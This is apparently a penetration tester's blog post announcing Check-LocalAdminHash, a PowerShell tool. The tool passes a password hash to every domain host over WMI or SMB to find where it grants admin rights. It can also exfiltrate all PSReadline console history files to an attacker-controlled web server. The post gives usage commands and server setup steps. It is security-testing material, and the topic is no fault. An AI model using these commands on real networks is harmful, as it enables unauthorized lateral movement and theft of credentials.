Beau Bullock //
Check-LocalAdminHash is a new PowerShell script that can check a password hash against multiple hosts to determine if it’s a valid administrative credential. It also has the ability to exfiltrate all PowerShell PSReadline console history files from every profile on every system that the credential provided is an administrator of.
Get Check-LocalAdminHash here: https://github.com/dafthack/Check-LocalAdminHash
On a recent assessment, I wanted to gather all the PowerShell console history files (PSReadline) from every system on the network. The PSReadline console history is essentially the PowerShell version of bash history. Since PowerShell version 5 everything you type into a PowerShell terminal gets logged to a file on disk. It can include so many interesting things that people type into their terminals including passwords and other sensitive information. I first learned about these history files from Chris Truncer during one of his amazing training courses.
On this particular assessment, I had a local admin hash that I knew was in widespread use in the environment. I did not have the cleartext credential. This organization had also deployed a number of other security tools that were making pivoting very difficult. Multiple EDR and behavioral analysis products were in use as well as application whitelisting. RDP was protected by multi-factor authentication and SMB wasn’t accessible on hosts I was trying to pivot to.
I was, however, able to connect to other systems using Windows Management Instrumentation (WMI).
With my goal being to obtain all PowerShell console history files on the network, I set out to write a script that could accomplish this for me. I had some interesting problems to solve though. I couldn’t access SMB so simply copying the PSReadline files over the network wouldn’t work. The hosts could access the Internet though. I ended up “Frankensteining” some other pre-existing tools along with my own code to accomplish my goal.
First, I had to gather all the hosts from the domain. To do this, the first piece of code I borrowed was from PowerView. I used multiple modules from PowerView for generating a list of domain computers. Next, I utilized more pre-existing code, this time from Kevin Robertson’s Invoke-TheHash to perform the authentication to each host. Invoke-WMIExec and Invoke-SMBExec have the ability to “Pass-the-Hash” to run commands on remote systems.
For each system, Invoke-WMIExec would connect and launch PowerShell along with an encoded command blob that includes the code for discovering any PSReadline files found within any of the profiles on the system. If any are discovered they are then sent via a POST request to a web server I controlled. The Frankenstein code was alive and worked surprisingly well.
So as it turned out the functionality of this script ended up being useful in a completely different manner. It functions as a standalone PowerShell tool for determining what hosts on the network a password hash is a valid administrative credential for. Very often we are still discovering that local administrator credentials are in widespread use on engagements. In the past, if I had a password hash I might use something like Metasploit’s smb_login module to test that credential against other hosts. Having accessibility to Metasploit isn’t always an option on assessments though. So, this script being a purely PowerShell way of testing a credential hash will allow us to perform this technique natively in Windows environments.
Check-LocalAdminHash is this tool. You can get it on Github at: https://github.com/dafthack/Check-LocalAdminHash
Below are some of the example commands you can run with Check-LocalAdminHash. By the way you can still exfiltrate the PSReadline files with it.
Checking Local Admin Hash Against All Hosts Over WMI
This command will use the domain ‘testdomain.local’ to lookup all systems and then attempt to authenticate to each one using the user ‘testdomain.local\PossibleAdminUser’ and a password hash over WMI.
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems
Exfiltrate All PSReadline Console History Files
This command will use the domain ‘testdomain.local’ to lookup all systems and then attempt to authenticate to each one using the user ‘testdomain.local\PossibleAdminUser’ and a password hash over WMI. It then attempts to locate PowerShell console history files (PSReadline) for each profile on every system and then POST’s them to a web server. The bottom of the blog post contains instructions for setting up the server side.
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline
The script also accepts target lists in CIDR format, list format, or you can specify single systems to test if you don’t want to enumerate hosts from a domain. In addition to WMI, you can specify the SMB protocol if you would like to use that instead.
PSReadline Exfiltration Setup
This is your warning that you are about to set up an Internet-facing server that will accept file uploads. Typically, this is a very bad thing to do, so definitely take precautions when doing this. I would recommend locking down firewall rules so that only the IP that will be uploading PSReadline files can hit the webserver. Also, while we are on the topic of security, this will work just fine with an HTTPS connection so set up your domain and cert so that the PSReadline files are sent encrypted over the network. You have been warned…
- Setup a server wherever you would like the files to be sent. This server must be reachable over HTTP/HTTPS from each system.
- Copy the index.php script from this repo and put it in /index.php in the web root (/var/www/html) on your web server.
- Make an uploads directory:
- Modify the permissions of this directory:
chmod 0777 /var/www/html/uploads
- Make sure php is installed:
apt-get install php
- Restart Apache:
service apache2 restart
- In the Check-LocalAdminHash.ps1 script itself scroll down to the “Gen-EncodedUploadScript” function and modify the “$Url” variable right under “$UnencodedCommand”. Point it at your web server index.php page. I haven’t figured out how to pass the UploadUrl variable into that section of the code that ends up getting encoded and run on target systems so hardcode it for now.
Now when you run Check-LocalAdminHash with the -ExfilPSReadline flag it should attempt to POST each PSReadline (if there are any) to your webserver.
Check-LocalAdminAccess was born out of necessity. If you find yourself on a Windows system without the availability of Linux-based tools and need to test a password hash, this should help provide a more native approach to testing credentials. Also, It wouldn’t be difficult to modify the portion of the code that looks for PSReadline files to do other things on each host. In the future, I may change this to provide the ability to look for other files or run other commands on systems.
Check-LocalAdminHash is pretty much a Frankenstein of two of my favorite tools, PowerView and Invoke-TheHash. 95% of the code is from those two tools. So the credit goes to Kevin Robertson for Invoke-TheHash, and credit goes to Will Schroeder, Matt Graeber, and anyone else who worked on PowerView. Without those two tools this script wouldn’t exist.
Also, a shoutout to Steve Borosh for help with the multi-threading and just being an all-around awesome dude.
Invoke-TheHash – https://github.com/Kevin-Robertson/Invoke-TheHash